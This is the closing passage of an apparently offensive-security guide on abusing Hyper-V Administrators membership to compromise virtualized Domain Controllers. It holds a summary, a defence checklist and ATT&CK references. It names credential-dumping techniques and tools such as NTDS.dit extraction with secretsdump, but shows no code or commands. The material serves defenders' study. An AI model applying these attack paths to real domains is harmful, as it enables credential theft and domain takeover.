- Implement physical DCs or separate virtualization infrastructure
Conclusion
The Hyper-V Administrators group represents a significant privilege escalation path in Windows environments, particularly when Domain Controllers are virtualized. The combination of full VM control, VHD access, and permission manipulation capabilities creates multiple attack vectors for credential theft, privilege escalation, and domain compromise.
Key Takeaways
- Virtualized DCs = High Risk: Hyper-V Administrators can trivially compromise virtualized Domain Controllers
- Multiple Exploitation Paths: From NT hard link attacks to VM cloning, numerous techniques exist
- Detection Challenges: Many exploitation techniques use legitimate Hyper-V operations
- Defense Requires Separation: The only complete mitigation is separating DC infrastructure from general Hyper-V management
Defense Checklist
- Audit Hyper-V Administrators group membership
- Eliminate or separate virtualized Domain Controllers
- Implement Just-In-Time access for VM management
- Enable comprehensive Hyper-V operational logging
- Configure file system auditing on VHD storage paths
- Implement restrictive ACLs on VHD files
- Enable VM encryption for sensitive workloads
- Monitor for VM export, checkpoint, and cloning operations
- Establish baselines for normal Hyper-V operations
- Implement network segmentation for management traffic
- Regular review of VM configurations and snapshots
- Incident response plan for Hyper-V compromise scenarios
References
MITRE ATT&CK Techniques
- T1003.003 - OS Credential Dumping: NTDS - NTDS.dit extraction from DC VMs
- T1003.002 - OS Credential Dumping: Security Account Manager - SAM extraction
- T1005 - Data from Local System - VM disk and memory extraction
- T1574.002 - Hijack Execution Flow: DLL Side-Loading - Hard link attacks
- T1068 - Exploitation for Privilege Escalation - Privilege escalation
Common Weakness Enumeration
- CWE-269 - Improper Privilege Management - Excessive VM permissions
- CWE-284 - Improper Access Control - VM access control issues
Microsoft Documentation
- Microsoft: Hyper-V Administrators Group - Group documentation
- Microsoft: Shielded VMs - VM protection
Security Resources
- HackTricks: Hyper-V Administrators - Exploitation techniques
- Impacket - secretsdump - NTDS.dit extraction
- DSInternals - Active Directory credential extraction
By treating Hyper-V Administrators with the same security rigor as Domain Admins and implementing defense-in-depth controls, organizations can significantly reduce the risk of virtualization infrastructure being leveraged for privilege escalation and domain compromise.
Last updated on
Event Log Readers Group Exploitation
Comprehensive guide to exploiting the Event Log Readers group membership in Windows — from credential harvesting to intelligence gathering and attack path enumeration.
LLMNR and NBT-NS Poisoning
LLMNR and NBT-NS poisoning attacks for credential harvesting, man-in-the-middle, and network authentication exploitation in Windows environments.